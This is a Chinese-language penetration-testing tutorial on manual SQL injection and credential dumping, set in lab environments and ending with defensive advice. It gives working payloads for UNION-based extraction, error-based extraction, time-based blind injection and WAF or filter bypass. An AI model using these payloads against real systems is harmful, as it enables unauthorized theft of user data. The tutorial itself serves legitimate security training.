1. 项目概述为什么SQL注入依然是渗透测试的必修课在网络安全领域SQL注入SQL Injection是一个老生常谈却又历久弥新的话题。即便在各类框架、ORM工具和安全规范日益完善的今天它依然频繁出现在各类漏洞报告中是Web应用安全测试中绕不开的核心技能。很多刚入门的朋友可能会觉得现在都用MyBatis、Hibernate了SQL注入是不是过时了恰恰相反理解SQL注入的原理不仅能帮你发现那些因开发疏忽、配置不当或框架误用而残留的漏洞更是你理解Web应用与数据库交互逻辑、构建纵深防御思维的基础。所谓“手动脱库”就是指不依赖自动化工具通过手工构造和调试SQL注入语句一步步从数据库中提取敏感信息的过程。这个过程充满了挑战也最容易踩坑但一旦掌握你对数据库安全的理解将远超工具使用者。今天我就结合自己这些年从靶场到真实环境的实战经验带你从零开始拆解SQL注入的手工攻击链条并重点分享那些手册上不会写的“踩坑实录”。2. 核心原理与攻击流程拆解要打好一场SQL注入的“手工仗”光知道‘ or ‘1’’1是远远不够的。你必须像开发者一样思考理解你的输入是如何被拼接、处理并最终交给数据库执行的。2.1 SQL注入的本质信任与拼接的陷阱SQL注入的根本原因在于应用程序将用户输入的数据直接“拼接”到了预定的SQL查询语句中并且数据库引擎信任并执行了这条拼接后的完整语句。举个例子一个简单的登录验证后台逻辑可能是这样的SELECT * FROM users WHERE username ‘$username’ AND password ‘$password’如果开发者没有对$username和$password进行任何过滤当你输入用户名admin和密码‘ or ‘1’’1时拼接后的SQL语句就变成了SELECT * FROM users WHERE username ‘admin’ AND password ‘’ or ‘1’’1’由于‘1’’1‘这个条件永远为真True整个WHERE子句的逻辑就变成了(username‘admin’ AND password‘’) OR True。在逻辑运算中OR True的结果永远是True这就导致这条查询绕过了密码验证返回了用户名为admin的第一条记录从而实现未授权登录。这就是最经典的“永真式”注入。注意这里只是最基础的原理演示。现代应用很少会如此直白地拼接但原理相通只是过滤和绕过的博弈更加复杂。2.2 手工注入的标准流程侦察、利用、提权、脱库一次完整的手工SQL注入攻击通常遵循一个清晰的流程我习惯称之为“四步侦察法”。这个过程远比工具扫描来得精细能帮你发现那些WAFWeb应用防火墙和扫描器可能遗漏的细微漏洞。侦察与漏洞确认首先你需要找到可能存在注入的点通常是带有参数的URL如?id1、搜索框、登录表单等。然后通过提交特殊字符如单引号‘、双引号“或逻辑语句如and 11,and 12观察页面返回的差异如报错信息、内容变化、响应时间延迟来确认是否存在注入漏洞以及漏洞的类型报错型、布尔盲注、时间盲注等。信息收集与利用确认漏洞后下一步是摸清“战场环境”。你需要利用漏洞获取数据库的基本信息例如数据库类型与版本是MySQL、PostgreSQL、Microsoft SQL Server还是Oracle不同数据库的语法和系统函数差异巨大。当前数据库名与用户了解你正在操作哪个数据库以及当前数据库用户的权限级别。查询的列数与可显示位通过ORDER BY和UNION SELECT来判断当前查询语句返回多少列以及哪几列的内容会回显在页面上。数据结构探测与提权知道了库名接下来就要像侦探一样摸清库里的“房间”表名和“抽屉”列名。通过查询数据库的系统表如MySQL的information_schema获取所有表名和列名。同时评估当前数据库用户的权限尝试读取系统文件、执行系统命令或向磁盘写入文件为可能的提权或进一步渗透做准备。数据提取脱库这是最终目标。在明确了表结构后构造精准的SELECT语句将目标表如users,admin,customer中的敏感数据用户名、密码哈希、手机号、身份证号等分批提取出来。对于盲注这个过程可能非常缓慢需要逐个字符进行猜解。3. 手工注入实战从发现到数据提取理论说再多不如亲手试一次。我们以一个经典的基于错误的GET型注入为例假设目标URL是http://target.com/news.php?id1。请注意以下所有操作均应在合法授权的靶场环境如DVWA、Pikachu、PortSwigger靶场中进行。3.1 第一步漏洞确认与初步侦察首先我们测试id参数是否敏感。访问http://target.com/news.php?id1页面正常显示新闻1的内容。访问http://target.com/news.php?id2页面内容变为新闻2。说明id参数直接影响查询结果。注入点测试提交id1‘在1后面加一个单引号。如果页面返回数据库错误信息如“You have an error in your SQL syntax...”这强烈暗示存在SQL注入并且是“报错型注入”。如果页面变成空白、报404或显示一个通用错误页则可能是“盲注”。逻辑测试为进一步确认提交id1 and 11- 页面应正常显示因为11为真。id1 and 12- 页面可能空白、显示不同内容或报错因为12为假整个查询条件不成立。如果两次请求的页面响应有明显差异则基本可以断定存在注入。3.2 第二步判断数据库类型与版本不同数据库的注释符和版本查询函数不同。这是一个关键步骤猜错了数据库后续所有语句都会失效。MySQL常用注释符--注意后面有个空格或#。版本查询version或version()。尝试id1‘ and 11 --或id1‘ and 11 #。如果页面正常说明注释符生效可能是MySQL。尝试id1‘ union select 1,version --需要先判断列数见下一步。Microsoft SQL Server注释符--。版本查询version。PostgreSQL注释符--。版本查询version()。通过观察报错信息的内容有时也能直接看出数据库类型。例如MySQL的报错常包含“MySQL server”SQL Server的报错可能包含“Microsoft OLE DB Provider”或“SQL Server”。3.3 第三步判断查询列数与寻找回显位这是使用UNION攻击的前提。UNION操作符要求前后两个SELECT语句的列数必须相同。使用ORDER BY判断列数ORDER BY子句用于按列索引排序。我们不断递增数字直到页面报错。id1‘ order by 1 --(正常)id1‘ order by 2 --(正常)id1‘ order by 3 --(正常)id1‘ order by 4 --(报错)这说明原始查询返回了3列。使用UNION SELECT寻找回显位现在我们知道有3列接下来要找出哪几列的内容会显示在页面上。构造Payloadid-1‘ union select 1,2,3 --这里把id设为-1或一个不存在的值是为了让前一个SELECT查询结果为空从而确保页面显示的是我们UNION后面的select 1,2,3的结果。观察页面。如果页面的某个位置如新闻标题处、作者处出现了数字“2”或“3”就说明该位置是一个可以回显我们查询结果的“位点”。假设数字“2”和“3”出现在了页面上。3.4 第四步提取数据库信息现在我们可以把回显位2和3替换成我们想查询的信息函数。查询当前数据库名和用户Payload:id-1‘ union select 1, database(), user() --页面回显位置可能会显示如myapp_db和rootlocalhost这样的信息。知道当前数据库名myapp_db至关重要。查询所有表名以MySQL为例利用information_schema.tablesPayload:id-1‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() --group_concat()函数将多行结果合并成一个字符串方便查看。执行后可能在回显位看到一个逗号分隔的字符串如users,news,products。我们敏感地注意到users表。查询目标表的所有列名以users表为例Payload:id-1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_name‘users‘ --回显结果可能为id,username,password,email。3.5 第五步最终脱库——提取敏感数据万事俱备现在可以直取核心数据了。Payload:id-1‘ union select 1,group_concat(username, ‘:‘, password),3 from users --这个语句将users表中的username和password列用冒号连接后一次性提取出来。回显结果可能类似admin:5f4dcc3b5aa765d61d8327deb882cf99, user1:e10adc3949ba59abbe56e057f20f883e。至此一次完整的手工“脱库”就完成了。你拿到了所有用户的用户名和密码哈希值MD5格式。实操心得在实际测试中group_concat可能有长度限制。如果数据太多可以改用limit子句分批提取例如... limit 0,10提取前10条... limit 10,10提取第11-20条。4. 进阶技巧与常见绕过方法真实的战场往往布满“防御工事”WAF、输入过滤、转义机制。直接使用上述基础Payload常常会碰壁。下面分享几种常见的绕过技巧。4.1 绕过关键词过滤如果系统过滤了and、or、union、select等关键词可以尝试以下方法大小写混合UnIoN SeLeCt双写关键词anandd,selselectect如果过滤逻辑是删除关键词双写后删除中间部分可能重新组成关键词。使用等价符号或函数and-or-||‘admin‘-like ‘admin‘或in (‘admin‘)使用注释符分割uni/**/on sel/**/ect在某些场景下内联注释/**/会被忽略。编码绕过URL编码、十六进制编码、Unicode编码。例如select的URL编码是%73%65%6c%65%63%74。或者将字符串转换为十六进制select ‘admin‘可以写成select 0x61646d696eadmin的十六进制。4.2 绕过引号限制如果用户输入被强制用引号包裹或者单引号被转义‘变成\‘我们需要闭合引号。数字型注入无需引号如果参数本是数字如id1在注入时尽量使用数字和逻辑运算避免引入新引号。利用原有引号仔细分析后台查询逻辑。如果是WHERE id‘$input‘我们输入1‘ and ‘1‘‘1拼接后是WHERE id‘1‘ and ‘1‘‘1‘成功闭合。使用十六进制或CHAR()函数如前所述用0x...或CHAR(97,100,109,105,110)代替字符串‘admin‘。4.3 时间盲注Time-Based Blind Injection当页面无论输入什么返回内容都一样没有报错没有布尔值差异但注入确实存在时时间盲注是唯一的手工手段。其原理是利用能引起数据库延迟执行的函数通过响应时间来判断条件真假。MySQLsleep()函数。id1‘ and if(11,sleep(5),0) --如果页面响应延迟了5秒说明if条件为真。MS SQL ServerWAITFOR DELAY ‘0:0:5‘PostgreSQLpg_sleep(5)手工进行时间盲注脱库极其繁琐需要逐个字符猜解。例如猜解数据库名第一个字符的ASCII码是否大于100id1‘ and if(ascii(substr(database(),1,1))100,sleep(2),0) --通过二分法不断调整数值最终确定字符的ASCII码从而还原出整个字符串。这个过程必须借助脚本或工具才有效率。5. 手工脱库的常见“坑”与排查实录即使你理解了所有原理在实际手工操作时依然会踩到各种各样的坑。下面是我总结的几个高频问题。5.1 “坑”一UNION查询不显示结果现象你确认了列数UNION SELECT的列数也匹配但页面就是不显示你注入的数据只显示原始内容或空白。排查思路id值未失效确保UNION前面的SELECT查询结果为空。如果id1存在页面会先显示id1的内容。务必使用id-1或id99999这样的不存在的值。数据类型不匹配UNION查询时前后对应列的数据类型最好一致。如果原查询第一列是整数你union select ‘test‘,...可能会失败。尝试在回显位用null代替数字null可以匹配任何类型。回显位判断错误可能页面有多个回显区域你注入的数字显示在了不显眼的地方如页面底部、HTML注释里、JS代码中。务必查看网页源代码。过滤或WAF干扰你的UNION或SELECT关键词可能被拦截。尝试使用大小写、双写、注释等绕过方法。5.2 “坑”二information_schema被禁止访问现象在查询表名或列名时页面报错“Access denied”或直接无返回。原因与对策在一些高安全配置或某些数据库版本如较新版本的MySQL对非特权用户默认限制访问information_schema中的某些视图中当前数据库用户可能无权访问information_schema。尝试堆叠查询如果数据库支持如PHPMySQL的mysqli_multi_query可以尝试用分号;注入多条SQL语句通过show tables;和show columns from users;来获取信息。利用已知错误尝试报错注入函数如updatexml()或extractvalue()让数据库在报错信息中泄露表名。例如id1‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),0x7e),1) --。但注意这同样可能受权限限制。盲猜常见表名直接union select猜解admin,user,customer等常见表名。5.3 “坑”三盲注响应时间不稳定现象做时间盲注时sleep(2)有时延迟3秒有时延迟1秒导致判断条件真假的标准模糊。排查与技巧网络波动这是最常见的原因。在测试前先多次访问正常页面了解基准响应时间。设置一个合理的阈值如基准时间2秒缓冲1秒。数据库负载目标数据库服务器可能繁忙。尽量在非业务高峰期测试。使用更稳定的判断方法不要只测一次。对同一个条件如ascii(...)100发送3-5次请求如果多数请求明显超时则判断为真。可以编写简单的脚本来自动化这个请求和统计过程。调整sleep时间如果网络环境差可以适当延长sleep时间如sleep(5)让差异更明显。5.4 “坑”四数据提取不完整或乱码现象使用group_concat提取数据时只看到一部分或者中文字符显示为问号?或乱码。原因与解决group_concat长度限制MySQL的group_concat_max_len变量默认限制为1024字节。可以在注入时临时修改需有权限id1‘;set global group_concat_max_len102400; --然后再执行查询。或者更简单地使用limit分批次查询。字符集编码问题数据库、Web应用、浏览器三者的字符集不一致可能导致乱码。在注入时可以使用hex()函数将数据以十六进制形式取出然后在本地解码。例如union select 1,hex(username),3 from users --得到的结果如61646D696Eadmin再用工具或在线网站转换回字符串。6. 防御视角与总结反思作为一名安全从业者研究攻击的最终目的是为了更好地防御。通过手工SQL注入的实战我们可以反向推导出最有效的防护措施使用预编译语句Prepared Statements与参数化查询这是根治SQL注入的“银弹”。让SQL语句的“结构”和“数据”分离数据库引擎会明确知道哪些是指令哪些是数据从而杜绝拼接带来的混淆。这是所有新项目必须采用的第一准则。对输入进行严格的过滤与转义如果因历史原因必须使用拼接那么必须对所有用户输入进行严格的过滤白名单原则最佳和转义如使用mysqli_real_escape_string()。但请记住这只是“创可贴”不能完全依赖。遵循最小权限原则为Web应用配置的数据库账户只授予其完成业务所必需的最小权限如SELECT,INSERT,UPDATE绝对不要使用root或sa等超级管理员账户。禁止该账户执行文件操作、系统命令等。避免详细的错误回显将生产环境的数据库错误信息重定向到通用日志文件而不是显示给前端用户。自定义错误页面避免泄露数据库类型、表结构等敏感信息。定期进行安全审计与渗透测试使用自动化扫描工具结合手工测试定期对应用进行安全检查。像PortSwigger的Web Security Academy靶场、DVWA、Pikachu等都是极好的练手和检验防护效果的平台。手工SQL注入的过程是一个与目标系统深度对话的过程。它强迫你去理解每一处参数的处理逻辑去猜测后端代码的样貌去耐心地构造和调试每一个Payload。踩过的每一个坑都会让你对“数据信任边界”这个概念有更刻骨铭心的认识。在自动化工具大行其道的今天保留这份手工能力不仅能让你在工具失效时依然有路可走更能让你从根本上理解漏洞的成因从而设计出更坚固的防御体系。最后一个小建议建立一个你自己的“注入笔记”记录下不同数据库的语法差异、绕过的奇技淫巧、以及每次踩坑的解决过程这份积累会成为你职业生涯中非常宝贵的财富。
